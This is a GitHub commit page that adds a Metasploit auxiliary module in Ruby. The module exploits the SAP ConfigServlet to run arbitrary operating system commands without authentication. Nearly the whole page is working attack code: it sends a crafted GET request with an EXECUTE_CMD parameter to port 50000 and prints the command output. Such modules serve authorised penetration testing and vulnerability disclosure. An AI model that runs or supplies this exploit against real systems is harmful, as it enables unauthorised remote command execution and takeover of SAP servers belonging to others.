Skip to content

Commit 15b06c4

Browse files
committed
sap_configservlet_exec_noauth auxiliary module
the final module was moved from my master branch to here because of the pull request needs
1 parent b4f1f3e commit 15b06c4

File tree

1 file changed

+63
-0
lines changed

1 file changed

+63
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
require 'msf/core'
2+
3+
class Metasploit3 < Msf::Auxiliary
4+
include Msf::Exploit::Remote::HttpClient
5+
6+
def initialize(info = {})
7+
super(update_info(info,
8+
'Name' => 'SAP ConfigServlet OS Command Execution',
9+
'Description' => %q{
10+
This module allows execution of operating system commands through
11+
the SAP ConfigServlet without any authentication.
12+
},
13+
'Author' =>
14+
[
15+
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
16+
'Andras Kabai' # Metasploit module
17+
],
18+
'License' => MSF_LICENSE,
19+
'References' =>
20+
[
21+
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
22+
],
23+
'DisclosureDate' => 'Nov 01 2012' # Based on the reference presentation
24+
))
25+
26+
register_options(
27+
[
28+
Opt::RPORT(50000),
29+
OptString.new('CMD', [ true, 'The command to execute', 'whoami']),
30+
OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
31+
], self.class)
32+
end
33+
34+
def run
35+
begin
36+
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
37+
uri = normalize_uri(target_uri.path, 'ConfigServlet')
38+
39+
res = send_request_cgi(
40+
{
41+
'uri' => uri,
42+
'method' => 'GET',
43+
'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text::uri_encode(datastore['CMD'])
44+
})
45+
if !res or res.code != 200
46+
print_error("#{rhost}:#{rport} - Exploit failed.")
47+
return
48+
end
49+
rescue ::Rex::ConnectionError
50+
print_error("#{rhost}:#{rport} - Failed to connect to the server")
51+
return
52+
end
53+
54+
if res.body.include?("Process created")
55+
print_good("#{rhost}:#{rport} - Exploited successfully\n")
56+
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
57+
print_line("#{rhost}:#{rport} - Output: #{res.body}")
58+
else
59+
print_error("#{rhost}:#{rport} - Exploit failed.")
60+
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
61+
end
62+
end
63+
end

0 commit comments

Comments
 (0)